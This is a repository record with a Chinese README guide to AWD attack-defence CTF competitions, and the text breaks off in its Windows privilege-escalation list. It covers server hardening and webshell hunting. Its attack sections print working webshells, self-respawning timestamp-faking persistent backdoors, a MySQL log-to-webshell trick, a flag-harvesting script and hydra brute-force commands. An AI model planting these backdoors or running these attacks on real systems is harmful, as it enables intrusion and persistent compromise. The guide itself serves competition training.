{"id":20884715,"url":"https://github.com/aabysszg/awd-guide","last_synced_at":"2025-04-05T03:09:12.248Z","repository":{"id":200953961,"uuid":"704385809","full_name":"AabyssZG/AWD-Guide","owner":"AabyssZG","description":"从零学习AWD比赛指导手册以及AWD脚本整理","archived":false,"fork":false,"pushed_at":"2024-09-05T07:26:35.000Z","size":314,"stargazers_count":463,"open_issues_count":0,"forks_count":34,"subscribers_count":3,"default_branch":"main","last_synced_at":"2025-03-29T02:06:23.487Z","etag":null,"topics":["awd","awd-tools","ctf","ctf-framework","ctf-tools","security"],"latest_commit_sha":null,"homepage":"https://blog.zgsec.cn/archives/484.html","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/AabyssZG.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2023-10-13T06:37:52.000Z","updated_at":"2025-03-28T01:11:41.000Z","dependencies_parsed_at":"2023-11-11T15:25:13.552Z","dependency_job_id":"117d60c6-c305-41c9-8ffe-6149fe02c92e","html_url":"https://github.com/AabyssZG/AWD-Guide","commit_stats":null,"previous_names":["aabysszg/awd-guide"],"tags_count":1,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AabyssZG%2FAWD-Guide","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AabyssZG%2FAWD-Guide/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AabyssZG%2FAWD-Guide/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AabyssZG%2FAWD-Guide/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/AabyssZG","download_url":"https://codeload.github.com/AabyssZG/AWD-Guide/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247280272,"owners_count":20912967,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["awd","awd-tools","ctf","ctf-framework","ctf-tools","security"],"created_at":"2024-11-18T08:10:59.789Z","updated_at":"2025-04-05T03:09:12.229Z","avatar_url":"https://github.com/AabyssZG.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# AWD比赛指导手册\n\n### 纸上得来终觉浅,绝知此事要躬行。\n\n![AWD-Guide](https://socialify.git.ci/AabyssZG/AWD-Guide/image?description=1\u0026font=Bitter\u0026forks=1\u0026language=1\u0026logo=https%3A%2F%2Favatars.githubusercontent.com%2Fu%2F54609266%3Fv%3D4\u0026owner=1\u0026pattern=Solid\u0026stargazers=1\u0026theme=Dark)\n\n**手册版本号：V1.2.2-2023/10/21**\n\n这是一本能让你从零开始学习AWD并深入AWD的手册，我也会根据经验和需求逐步完善相关内容。如果你要参加AWD相关比赛，相信本项目能给你带来帮助~\n\n### 如何在线阅读？\n\n- 个人博客地址： [https://blog.zgsec.cn/archives/484.html](https://blog.zgsec.cn/archives/484.html)\n- 微信公众号地址：[https://mp.weixin.qq.com/s/1vR1rcGHK6YYdXlp4McR_w](https://mp.weixin.qq.com/s/1vR1rcGHK6YYdXlp4McR_w)\n\n**如果你觉得本项目不错，欢迎给我点个Star，万分感谢~~ 有什么新的攻击或者防守的姿势、手法，欢迎与我交流**\n\n\n\n## 0# 什么是AWD\n\n### 0.1# AWD赛制介绍\n\n「 攻防模式 | AWD (Attack With Defense) 」 是 CTF比赛 「CTF Capture The Flag」 几种主要的比赛模式之一，该模式常见于线下赛。\n\n在该模式中，每个队伍都拥有一个相同的初始环境 ( 我们称其为 GameBox )，该环境通常运行着一些特定的服务或应用程序，而这些服务通常包含一些安全漏洞。参赛队伍需要挖掘利用对方队伍服务中的安全漏洞，获取 Flag 以获得积分; 同时，参赛队伍也需要修补自身服务漏洞进行防御，以防被其他队伍攻击和获取 Flag。\n\n主要特点为：强调实战性、实时性、对抗性，综合考量竞赛队的渗透能力和防护能力。\n\n### 0.2# 比赛整体流程\n\n- 赛前准备环节：我们会分配到多个靶机服务器，通常是分配给我们 `SSH` 或者 `VNC` 的用户名和密码，还有相关IP等信息\n- 安全加固环节：我们需要先自己去登录靶机服务器，进行30分钟的安全加固（源码备份/弱口令修改/代码审计和修复/漏洞修复等）\n- 自由攻击环节：安全加固时间过后，开始自由攻击环节，通过对别的队伍的靶机服务器进行攻击（弱口令/Web漏洞/系统漏洞等）获得Flag进行加分，对应队伍失分\n\n\n\n## 1# 比赛环境\n\n通常比赛环境有以下三种情况：\n\n- 混合靶机情况：运维机器 `Windows 10` + 攻击机 `Kali Linux` + Win靶机 `Windows Server 2003/2008/2012` 或者 `Windows 7` + Linux靶机 `Centos7.x` 或者 `Ubuntu 16.04/17.01/20.04`\n- 纯Linux靶机情况：运维机器 `Windows 10` + 攻击机 `Kali Linux` + Linux靶机 `Centos7.x` 或者 `Ubuntu 16.04/17.01/20.04`\n- 纯Windows靶机情况：运维机器 `Windows 10` + 攻击机 `Kali Linux` + Win靶机 `Windows Server 2003/2008/2012` 或者 `Windows 7`\n\n可能有师傅这里看不太懂，那我可以用大白话描述一下：比赛的时候，会给你1~2台运维机器（一般是Win10里面装了Kali）以及好几台服务器（也就是上面说的靶机），服务器上面有漏洞，要先抓紧去找到漏洞并修复（可别忘了弱口令哦），再通过找到的漏洞去攻击别的队伍的服务器拿到Flag从而得分\n\n\n\n## 2# 安全加固环节（Defense）\n\n### 2.0# 基本加固流程\n\n#### 2.0.1 Windows加固流程\n\n先备份：Web源码、数据库\n\n1. 445加固，开启防火墙或IP高级安全策略\n2. 开启系统日志审计功能\n3. 禁用guest账户、关闭文件共享\n4. 确保启动项内容是可控的\n5. 限制3389远程访问控制的连接数：在本地组策略编辑器里面，依次展开计算机配置--\u003e管理模板--\u003eWindows组件--\u003e远程桌面服务--\u003e远程桌面会话主机--\u003e连接--\u003e限制连接的数量\n6. 使用工具监控关键目录文件:文件操作监控.exe、御剑文件监控.exe\n7. 恶意代码文件，通过PCHunter、Monitor查找\n8. Web目录环境查找相关可疑文件：jpg/png/rar，查看属性、解压看文件内容\n9. NTFS扫描磁盘查找隐藏的交换流数据\n10. 查找系统所有账户信息，禁止非Administrator账户\n11. 修改Web站点管理员访问路径、默认口令、数据库口令\n12. 安装WAF脚本，防护Web站点，禁止其他漏洞\n\n#### 2.0.2 Linux加固流程\n\n先备份：Web源码、数据库\n\n1. 系统口令修改，团队统一口令\n2. 通过 `.bash_history` 查找历史命令操作，发现痕迹\n3. 查看计划任务：`crontab -l`；编辑计划任务：`crontab -e`\n4. 查看 `/etc/init.d/rc.local` 中启动服务有无异常\n5. 使用脚本开启进程监控、目录监控、流量监控\n6. Web站点口令,站点管理员路径修改\n7. 系统加固：iptable\n\n### 2.1# 基本信息搜集\n\n在防守的时候，信息搜集也很重要，正所谓“知己知彼，百战不殆”\n\n#### 2.1.1 明确Linux机器信息\n\n```c\nuname -a                       //系统信息\nps -aux                        //查询进程信息\nps -ef | grep 进程名称         //筛选指定进程\nid                             //用于显示用户ID，以及所属群组ID\ncat /etc/passwd                //查看用户情况\nls /home/                      //查看用户情况\nfind / -type d -perm -002      //可写目录检查\nifconfig                       //Linux上查看网卡信息\nip addr show                   //Linux上查看网卡信息\n```\n\n#### 2.1.2 明确Windows机器信息\n\n```c\nwhoami /all                    //Windows上查看用户详细信息\nipconfig  /all                 //Windows上查看网卡信息\n```\n\n#### 2.1.3 查看开放端口\n\n```c\nnetstat                                                       //查看活动连接\nnetstat -ano/-a                                               //查看端口情况\nnetstat -anp                                                  //查看端口\nfirewall-cmd --zone= public --remove-port=80/tcp -permanent   //关闭端口\nfirewall-cmd -reload                                          //防火墙重启\n```\n\n#### 2.1.4 默认口令（弱口令）更改\n\n为了防范弱口令攻击，Mysql密码默认都是root，phpstudy默认密码123456\n\n还有其他默认密码admin，top100， top1000等\n\n**尤其是WEB应用的后台密码修改**\n\n```c\npasswd username                                                  //ssh口令修改\nset password for mycms@localhost = password('18ciweufhi28746');  //MySQL密码修改\nfind /var/www//html -path '*config*’                             //查找配置文件中的密码凭证\n```\n\n#### 2.1.5 找本地Flag\n\n```c\ngrep -r \"flag\" /var/www/html/  //Linux：在Web目录下查找flag\nfindstr /s /i \"flag\" *.*       //Windows：当前目录以及所有子目录下的所有文件中查找\"flag\"这个字符串\n```\n\n#### 2.1.6 设置禁Ping\n\n```c\necho \"1\" \u003e /proc/sys/net/ipv4/icmp_echo_ignore_all     //临时开启禁ping\necho \"0\" \u003e /proc/sys/net/ipv4/icmp_echo_ignore_all     //关闭禁ping\n```\n\n### 2.2# Web安全加固\n\n#### 2.2.1 备份源码\n\n防止在对源码进行修改时出问题，或者被攻击方删除源码而准备\n\n压缩源码：\n\n```C\ntar -cvf web.tar /var/www/html\nzip -q -r web.zip /var/www/html\n```\n\n解压缩源码：\n\n```C\ntar -xvf web.tar -c /var/www/html\nunzip web.zip -d /var/www/html\n```\n\n备份源码：\n\n```C\nmv web.tar /tmp\nmv web.zip /home/xxx\n```\n\n上传和下载源码：\n\n```c\nscp username@servername:/path/filename /tmp/local_destination  //从服务器下载单个文件到本地\nscp /path/local_filename username@servername:/path             //从本地上传单个文件到服务器\nscp -r username@servername:remote_dir/ /tmp/local_dir          //从服务器下载整个目录到本地\nscp -r /tmp/local_dir username@servername:remote_dir           //从本地上传整个目录到服务器\n```\n\n#### 2.2.2 设置只读权限\n\n对Web文件设置只读和执行权限（PHP等动态语言需要执行权限）\n\n```c\nchmod 0555 /var/www/html/*\nchmod 0555 /var/www/html/*.php\n```\n\nWeb根目录设置只读和执行权限\n\n```c\nchmod 0555 /var/www/html\n```\n\n改变文件的属主和属组来设置严格的权限\n\n```c\nchown -R root:root /var/www/html/        //设置拥有人为 root:root 或 httpd:httpd (推荐)\nchown -R apache:apache /var/www/html/    //确保 apache 拥有 /var/www/html/\n```\n\n#### 2.2.3 配置 `.htaccess`\n\n利用 `.htaccess` 配置文件禁止php文件执行\n\n```php\n\u003cDirectory \"/var/www/html/upload\"\u003e   //指定目录后续的指令将应用于该目录\nOptions -ExecCGI -Indexes            //禁用了目录中的 CGI 执行和目录索引（显示目录内容列表）功能。\nAllowOverride None                   //不允许在该目录中使用 .htaccess 文件来覆盖服务器的配置。\nRemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml  \nRemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml      \n//这两个指令移除指定文件扩展名的处理器和类型。\n//在这种情况下，这些指令从 Apache 的处理列表中移除了与 PHP 相关的扩展名和服务器端包含（SSI）文件类型。\nphp_flag engine off     //这个指令将 PHP 的引擎标志（engine）设置为关闭状态，从而禁用了在该目录中执行 PHP 脚本的能力。\n\u003cFilesMatch \".+\\.ph(p[3457]?|t|tml)$\"\u003e\ndeny from all\n\u003c/FilesMatch\u003e  //这三行命令使用正则表达式匹配了以 .php、.phtml、.php3、.pht、.php4、.php5、.php7、.shtml 结尾的文件，并将其访问权限设置为拒绝所有\n\u003c/Directory\u003e\n```\n\n#### 2.2.4 PHP参数安全配置\n\n首先找到PHP的配置文件\n\n```c\n/etc/php/{version}/php.ini\n```\n\n禁用高危函数\n\n```php\ndisable_functions = dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link\n```\n\n配置 `open_basedir` （将用户访问文件的活动范围限制在指定的区域）\n\n```php\nopen_basedir=/var/www/html\n```\n\n禁用魔术引号（自动对外部来源数据进行转义，防止SQL注入）\n\n```php\nmagic_quotes_gpc = Off\n```\n\n关闭PHP伪协议\n\n```php\nallow_url_fopen = Off\nallow_url_include = Off\n```\n\n重启PHP\n\n```c\nsudo service php7.0-fpm restart\nsudo systemctl restart php7.0-fpm.service\n```\n\n### 2.3# 数据库安全加固\n\n#### 2.3.1 Mysql加固\n\n为了防范弱口令攻击，Mysql密码默认都是root，phpstudy默认密码123456\n\n1. 不使用默认口令，修改成复杂的，并确保和web环境连接\n2. 设置只允许本地127.0.0.1账户登录：修改 `bind-address=127.0.0.1` ；在配置文件中加入 `seccure_file_priv=NULL`\n3. 开启日志审计功能：`general_log_file=`路径\n\n因为最常用的是Mysql数据库，所以基本的攻防大部分都是用MySql数据库的命令\n\n备份指定数据库：\n\n```sql\nmysqldump -u username -p password databasename \u003e target.sql\n```\n\n备份所有数据库：\n\n```sql\nmysqldump -all -databases \u003e all.sql\n```\n\n导入数据库：\n\n```sql\nmysql -u username -p password database \u003c from.sql\n```\n\n对于MySQL的攻防，可以看这篇文章：[https://blog.zgsec.cn/archives/26.html](https://blog.zgsec.cn/archives/26.html)\n\nMySQL默认配置文件路径：\n\n```\nC:\\\\Program Files\\MySQL\\MySQLServer 5.1\\my.ini   //Windows\n/etc/my.cnf                                      //Linux\n/etc/mysql/my.cnf                                //Linux\n```\n\n修改 `secure_file_priv` 参数（日志功能的对应目录）\n\n```sql\nsecure_file_priv=\"\"\n```\n\n重载MySQL配置\n\n```sql\nFLUSH PRIVILEGES\n```\n\n重启MySQL服务\n\n```c\nsudo service mysql restart\nsudo systemctl restart mysql\n```\n\n#### 2.3.2 Mssql加固\n\n1. 删除不必要的账号\t\n2. SQLServer用户口令安全\t\n3. 根据用户分配帐号避免帐号共享\n4. 分配数据库用户所需的最小权限\n5. 网络访问限制\n6. SQLServer登录审计\n7. SQLServer安全事件审计\n8. 配置日志功能\n\n### 2.4# 远程控制加固\n\n#### 2.4.1 SSH安全加固\n\n限制IP登录方法\n\n```c\nsudo nano /etc/ssh/sshd_config       //以root权限编辑SSH配置文件\nAllowUsers username@192.168.0.100    //找到并编辑以下行，确保其取消注释并设置为所需的IP地址\n```\n\n禁用 `root` 远程登录\n\n```c\nsudo nano /etc/ssh/sshd_config       //以root权限编辑SSH配置文件\nPermitRootLogin no                   //将PermitRootLogi设置为“no”\n```\n\n按用户和组限制SSH登录\n\n```c\nsudo nano /etc/ssh/sshd_config       //以root权限编辑SSH配置文件\nAllowUsers testuser                  //设置只允许 testuser 登录SSH\nAllowUsers testuser@192.168.1.100    //设置只允许 192.168.1.100 的机器用 testuser 账户登录SSH\nAllowGroups test                     //设置用户组白名单\n//需要注意的是：如果同时指定了 AllowUsers 与 AllowGroups 那么必须要在两个选项中都匹配到的用户才能进行SSH登录\n```\n\n重启SSH服务\n\n```c\nsudo service sshd restart\nsudo systemctl restart sshd.service\n```\n\n#### 2.4.2 RDP远程登录安全加固\n\n删除默认帐户并手动添加新用户：\n\n- 步骤1：按 `Win + R` 打开运行对话框，输入 `secpol.msc` 并单击 “确定”\n- 步骤2：导航至此处：本地策略--\u003e用户权限分配，再双击打开 “允许通过远程桌面服务登录”\n- 步骤3：删除此窗口中列出的管理员和远程桌面用户（或计算机上的任何其他用户或组）\n- 步骤4：之后单击 “添加用户或组” 并手动添加您要授予远程桌面访问权限的用户\n\n更改默认RDP端口号：\n\n- 步骤1：打开运行对话框，输入 `regedit` 并单击 “确定”\n- 步骤2：打开 `HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp` ，向下滚动并找到 `PortNumber` 然后双击它\n- 步骤3：选择 “十进制”，修改为您想要设置的端口号，然后单击 “确定”\n\n### 2.5# 应急响应\n\n#### 2.5.1 查询进程线程\n\n```c\nnetstat\nps -aux\nnetstat -apt\n```\n\n#### 2.5.2 杀掉进程\n\n```c\nkill -9 pid            //Linux上\ntaskkill /f /pid pid   //Windows上\n```\n\n#### 2.5.3 搜索WebShell文件\n\n```c\nfind /var/www/html -name *.php -mmin -5                        //查看最近5分钟修改文件\nfind ./ -name '*.php' | xargs wc -l | sort -u                  //寻找行数最短文件，一般有可能是一句话木马\ngrep -r --include=*.php  '[^a-z]eval($_POST'  /var/www/html    //查包含关键字的php文件\nfind /var/www/html -type f -name \"*.php\" | xargs grep \"eval(\" |more //在Linux系统中使用find、grep和xargs命令的组合，用于在指定目录（/var/www/html）下查找所有以.php为扩展名的文件，并搜索这些文件中包含字符串\"eval(\"的行，并使用more命令来分页显示结果以便在输出较长时进行逐页查看\n```\n\n#### 2.5.4 查杀不死马\n\n也可以利用命令自动进行查找删除\n\n```c\nps -aux | grep www-data | grep -v grep | awk '{print $2}' | xargs kill -9\n```\n\n然后重启服务\n\n```c\nservice php-fpm restart\n```\n\n#### 2.5.5 杀弹反弹shell\n\n老规矩查看进程\n\n```c\nps -ef\npx -aux\nps -aux | grep www-data\n```\n\n注意 `www-data` 权限的 `/bin/sh`，很有可能是nc\n\n再就是上老一套命令\n\n```c\nkill ps -aux | grep www-data | grep apache2 | awk '{print $2}'\n```\n\n\n\n## 3# 自由攻击环节（Attack）\n\n### 3.0# 主要准备内容\n\n1. 各类CMS软件包最新版准备\n2. 扫描工具：Nmap、Nessus、Metasploit更新\n2. 漏洞利用脚本Poc、Exp\n\n### 3.1# 基本信息搜集\n\n#### 3.1.1 主机信息搜集\n\nNmap\n\n```c\nnmap -sn 192.168.0.0/24            //C段存活扫描\n```\n\nhttpscan\n\n```c\nhttpscan.py 192.168.0.0/24 -t 10   //C段存活扫描\n```\n\n#### 3.1.2 端口扫描\n\n```c\nnmap -sV 192.168.0.2               //扫描主机系统版本\nnmap -sS 192.168.0.2               //扫描主机常用端口\nnmap -sS -p 80,445 192.168.0.2     //扫描主机部分端口\nnmap -sS -p- 192.168.0.2           //扫描主机全部端口\n```\n\nPython脚本\n\n```python\nimport requests\n\nfor x in range(2,255): \n    url = \"http://192.168.1.{}\".format(x) \n    try: \n        r = requests.post(url) \n        print(url) \n        except: \n        pass\n```\n\n### 3.2# 外部打点\n\n#### 3.2.0 常见系统漏洞\n\n- MS17-010（永恒之蓝，可看[https://blog.zgsec.cn/archives/172.html](https://blog.zgsec.cn/archives/172.html)）\n- MySQL进行UDF提权（SQL注入或者MySQL弱口令）\n- MsSQL进行系统命令执行（SQL注入或者MsSQL弱口令）\n- SSH弱口令或默认口令\n- PWN（这个要看具体AWD比赛提供的内容了）\n\n#### 3.2.1 中间件漏洞\n\n- IIS（解析漏洞、远程代码执行）\n- Apache（解析漏洞）\n- Nginx（解析漏洞）\n- Jboss（CVE-2017-7504/CVE-2017-12149/CVE-2015-7501）\n- Mysql（弱口令）\n- Tomcat（弱口令Getshell）\n- Weblogic（CVE-2020-2551/CVE-2020-2555/CVE-2020-2883）\n- SpringBoot（未授权访问漏洞和RCE漏洞，具体可看[https://blog.zgsec.cn/archives/129.html](https://blog.zgsec.cn/archives/129.html)）\n\n#### 3.2.2 集成服务环境漏洞\n\n- wampserver\n- xamppserver\n\n#### 3.2.3 CMS漏洞利用\n\n搜集最新版本的CMS，以及对应的漏洞Poc和Exp，这里仅仅列举部分CMS：\n\n- Aspcms\n- Dedecms\n- Dicuz\n- Drupal\n- Empirecms\n- Eshop\n- Finecms\n- Joomla\n- Lamp\n- Metainfo\n- Phpcms\n- Phpwind\n- Qibocms\n- Seacms\n- Semcms\n- ThinkPHP\n- Wolfcms\n- Wordpress\n- Zabbix\n\n备份文件爆破：使用7kbScan等目录扫描工具对Web系统进行爆破\n\n#### 3.2.4 上传WebShell\n\n常见一句话木马\n\n```php\nPHP： \u003c?php @eval($_POST['pass']);?\u003e      \u003c?php eval($_GET['pass']);\nAsp：   \u003c%eval request (\"pass\")%\u003e\nAspx：  \u003c%@ Page Language=\"Jscript\"%\u003e \u003c%eval(Request.Item[\"pass\"],\"unsafe\");%\u003e\n```\n\nGet型木马\n\n```php\n\u003c?php eval($_GET['pass']);           //利用方式/shell.php?pass=eval($_POST[1]);\n```\n\n免杀马制作：[https://github.com/AabyssZG/WebShell-Bypass-Guide](https://github.com/AabyssZG/WebShell-Bypass-Guide)\n\n```php\n\u003c?=~$_='$\u003c\u003e/'^'{{{{';@${$_}[_](@${$_}[__]);                            //执行GET传参 ?_=system\u0026__=whoami 来执行whoami命令\n\u003c?=~$_='$\u003c\u003e/'^'{{{{';$___='$+4(/' ^ '{{{{{';@${$_}[_](@${$___}[__]);   //执行GET传参 ?_=assert 和POST传参 __=PHP代码来GetShell\n```\n\n隐藏的文件读取\n\n```php\n\u003c?php\nheader(php'flag:'.file_get_contents('/flag'));\n```\n\n条件允许的话，将flag信息直接读取并返回到header头中，这样做不易被发现\n\n#### 3.2.5 利用WebShell\n\ncurl(跟hackbar差不多)\n\n```c\nC:\\Users\\admin\u003ecurl \"http://192.168.182.130:8801/include/shell.php\" -d \"admin_ccmd=system('cat /f*');\"\n//向shell.php文件里传入参数并返回结果\n```\n\nPython多端口传参\n\n```python\n#coding=utf-8\nimport requests\n\nurl_head=\"http://192.168.182.130\"   #网段\nurl=\"\"\nshell_addr=\"/upload/url/shell.php\" #木马路径\npasswd=\"pass\"                   #木马密码\n#port=\"80\"\npayload = {passwd: 'System(\\'cat /flag\\');'}\n# find / -name \"flag*\"\n\n#清空上次记录\nflag=open(\"flag.txt\",\"w\")\nflag.close()\nflag=open(\"flag.txt\",\"a\")\n\nfor i in range(8000,8004):\n    url=url_head+\":\"+str(i)+shell_addr\n    try:\n        res=requests.post(url,payload)#,timeout=1\n        if res.status_code == requests.codes.ok:\n            result = res.text\n            print (result)\n            flag.write(result+\"\\n\") \n        else:\n            print (\"shell 404\")\n    except:\n        print (url+\" connect shell fail\")\n\nflag.close()\n```\n\n#### 3.2.6 MySQL数据库利用\n\n具体可以看这篇文章：[https://blog.zgsec.cn/archives/26.html](https://blog.zgsec.cn/archives/26.html)\n\n1、查看MySQL版本\n\n```sql\nshow variables like '%version%';\nselect version();      #这个只显示MySQL版本号\n```\n\n2、查看 `load_file()` 开启状态\n\n```sql\nshow variables like '%secure%';       #这条可查看详细信息\nshow global variables like '%secure_file_priv%';\n```\n\n3、查看日志功能是否开启和对应目录\n\n```sql\nSHOW VARIABLES LIKE 'general%';\nset global general_log = \"ON\";\nset global general_log_file='/var/www/html/test.php';   #可以写入WebShell然后直接连接蚁剑\n\n# 往日志里面写入 WebShell\nselect '\u003c?php @eval($_POST['AabyssTeam']);?\u003e';\n# 此时已经写到 test.php 文件当中了，注意这个要知道网站的具体路径才可以实现\n```\n\n小技巧：获取MySQL账户和对应密码Hash\n\n```sql\n# MySQL \u003c= 5.6 版本\nselect host, user, password from mysql.user;\n\n# MySQL \u003e= 5.7 版本\nselect host,user,authentication_string from mysql.user;\n```\n\n#### 3.2.7 弱口令爆破\n\n爆破SSH密码\n\n```c\nhydra -L 用户名字典.txt -P 密码字典.txt 目标IP地址 ssh\nhydra -L 用户名字典.txt -P 密码字典.txt ssh://192.168.1.100\nhydra -L 用户名字典.txt -P 密码字典.txt ssh://192.168.1.100 -s 40      //40是⽬标服务开放的端⼝\n```\n\n爆破FTP密码\n\n```c\nhydra -L 用户名字典.txt -P 密码字典.txt 目标IP地址 ftp\nhydra -L 用户名字典.txt -P 密码字典.txt ftp://192.168.1.100/\n```\n\n爆破RDP远程桌面密码\n\n```c\nhydra 目标IP地址 rdp -l administrator -P 密码字典.txt -V\n```\n\n爆破Telnet\n\n```c\nhydra 目标IP地址 telnet -l 用户字典.txt -P 密码字典.txt -f -V\n```\n\n爆破MSSQL数据库\n\n```c\nhydra -l sa -P 密码字典.txt 目标IP地址 mssql\n```\n\n爆破MySQL数据库\n\n```c\nhydra -L 用户名字典.txt -P 密码字典.txt 目标IP地址 mysql\n```\n\n### 3.3# 内网渗透\n\n#### 3.3.1 权限维持之不死马\n\n简单不死马：\n\n```php\n\u003c?php\nset_time_limit(0);   //PHP脚本限制了执行时间，set_time_limit(0)设置一个脚本的执行时间为无限长\nignore_user_abort(1);  //ignore_user_abort如果设置为 TRUE，则忽略与用户的断开，脚本将后台运行\nunlink(__FILE__);     //删除自身\n\nwhile(1)\n{\n    file_put_contents('shell.php','\u003c?php @eval($_POST[\"AabyssTeam\"]);?\u003e');  //创建shell.php\n    sleep(0);    //间隔时间\n}\n```\n\n可以通过不断复写 `shell.php` 来达到该木马难以被使用的效果\n\n防连接不死马：\n\n```php\n\u003c?php\nset_time_limit(0);   // 取消脚本运行时间的超时上限\nignore_user_abort(1);  // \n\nwhile(1)\n{\n    file_put_contents('shell.php','\u003c?php if(md5($_POST[\"passwd\"])==\"8c7d608cbb4c63f32be59a9ba8c9f49d\"){@eval($_REQUEST[\"cmd\"]);} ?\u003e');  //创建shell.php\n    sleep(0);\n}\n\n//passwd=AabyssTeam\n//POST传参：passwd=AabyssTeam\u0026cmd=system('ls');\n```\n\n进阶不死马：\n\n```php\n\u003c?php\nignore_user_abort(true);\nset_time_limit(0);\nunlink(__FILE__);\n$file = 'shell.php';\n$code = '\u003c?php if(md5($_POST[\"passwd\"])==\"8c7d608cbb4c63f32be59a9ba8c9f49d\"){@eval($_REQUEST[\"cmd\"]);} ?\u003e';\n\nwhile (1){\n    file_put_contents($file,$code);\n    system('touch -m -d \"2020-12-01 09:10:12\" shell.php');  //修改时间，防止被删\n    usleep(5000);\n}\n?\u003e\n\n//passwd=AabyssTeam\n//POST传参：passwd=AabyssTeam\u0026cmd=system('ls');\n```\n\n将这个文件上传到服务器，然后进行访问，会在该路径下一直生成一个名字为 `shell.php` 的WebShell文件\n\n双重不死马：\n\n```php\n\u003c?php\nignore_user_abort(true);\nset_time_limit(0);\nunlink(__FILE__);\n$file = '.login.php';\n$file1 = '/admin/.register.php'; \n$code = '\u003c?php if(md5($_POST[\"passwd\"])==\"8c7d608cbb4c63f32be59a9ba8c9f49d\"){@eval($_REQUEST[\"cmd\"]);} ?\u003e';\n\nwhile (1){\n    file_put_contents($file,$code);\n    system('touch -m -d \"2020-12-01 18:10:12\" .login.php');\n    file_put_contents($file1,$code);\n    system('touch -m -d \"2020-12-01 18:10:12\" /admin/.register.php');\n    usleep(5000);\n}\n?\u003e\n\n//passwd=AabyssTeam\n//POST传参：passwd=AabyssTeam\u0026cmd=system('ls');\n```\n\n浏览器访问写入的WebShell，会自动生成两个不死马： `.login.php` 和 `/admin/.register.php`\n\n#### 3.3.2 关键文件检索\n\n组件检索\n\n```c\nfind / -name \"apaech2.conf\"                 //检索Apache主配置文件\nfind / -name \"nginx.conf\"                   //检索Nginx目录\nfind / -path \"*nginx*\" -name nginx*conf     //检索Nginx配置目录\nfind / -name \"httpd.conf\"                   //检索Apache目录\nfind / -path \"*apache*\" -name apache*conf   //检索Apache配置目录\n```\n\n网站首页\n\n```c\nfind / -name \"index.php\"                    //定位网站目录\nfind / -name \"index.html\"                   //定位网站目录\n```\n\n日志文件检索\n\n```c\n/var/log/nginx/                           //默认Nginx日志目录\n/var/log/apache/                          //默认Apache日志目录\n/var/log/apache2/                         //默认Apache日志目录\n/usr/local/tomcat/logs                    //Tomcat日志目录\ntail -f xxx.log                           //实时刷新滚动日志文件\n```\n\n#### 3.3.3 Linux提权\n\n查询系统版本信息命令：\n\n```c\ncat /etc/issue\ncat /etc/*-release\ncat /etc/lsb-release\ncat /etc/redhat-release\n```\n\n查询内核版本信息命令：\n\n```c\nuname -a\nuname -mrs\ncat /proc/version\ncat /etc/issue\nlsb_release -a\nhostnamectl  \nrpm -q kernel\ndmesg | grep Linux\nls /boot | grep vmlinuz\n```\n\n查看系统环境变量命令：\n\n```c\ncat /etc/profile\ncat /etc/bashrc\ncat ~/.bash_profile\ncat ~/.bashrc\ncat ~/.bash_logout\nenv\nset\n```\n\n查看语言环境信息命令：\n\n```c\nfind / -name perl*\nfind / -name python*\nfind / -name gcc*\nfind / -name cc\nset\n```\n\n查看文件上传环境信息命令：\n\n```c\nfind / -name wget\nfind / -name nc*\nfind / -name netcat*\nfind / -name tftp*\nfind / -name ftp\n```\n\n这里列举一些可用利用的提权漏洞：\n\n- CVE-2023-0386（Linux OverlayFS权限提升漏洞）\n- CVE-2021-4034（Linux Polkit本地权限提升漏洞）\n- CVE-2017-6074 （DCCP双重释放漏洞 \u003e 2.6.18 ）\n- CVE-2016-5195（脏牛，kernel 2.6.22 \u003c 3.9 (x86/x64)）\n- CVE-2016-8655（Ubuntu 12.04、14.04，Debian 7、8）\n- CVE-2017-1000367（sudo本地提权漏洞 ）\n- CVE-2016-1247（Nginx权限提升漏洞）\n- CVE-2017-16995（Ubuntu16.04   kernel:4.14-4.4）\n\nKali命令查询：\n\n```\nsearchsploit CentOS 7\nsearchsploit Ubuntu 16.04\n```\n\n提权Exploit寻找：\n\n- [http://www.exploit-db.com](http://www.exploit-db.com)\n- [http://metasploit.com/modules/](http://metasploit.com/modules/)\n- [http://securityreason.com](http://securityreason.com)\n- [http://seclists.org/fulldisclosure/](http://seclists.org/fulldisclosure/)\n- [https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/tree/main](https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/tree/main)\n\n编译提权Exp\n\n```\ngcc -o /usr/share/nginx/html/***** /usr/share/nginx/html/*****.c -Wall\n```\n\n直接提权，确认权限：\n\n```\ncat /etc/shadow\n```\n\n其他提权姿势：[https://www.freebuf.com/articles/system/244627.html](https://www.freebuf.com/articles/system/244627.html)\n\n#### 3.3.4 Windows提权\n\n这里列举一些Windows的漏洞：\n\n- 各种Potato（Github上面基本都有）\n- 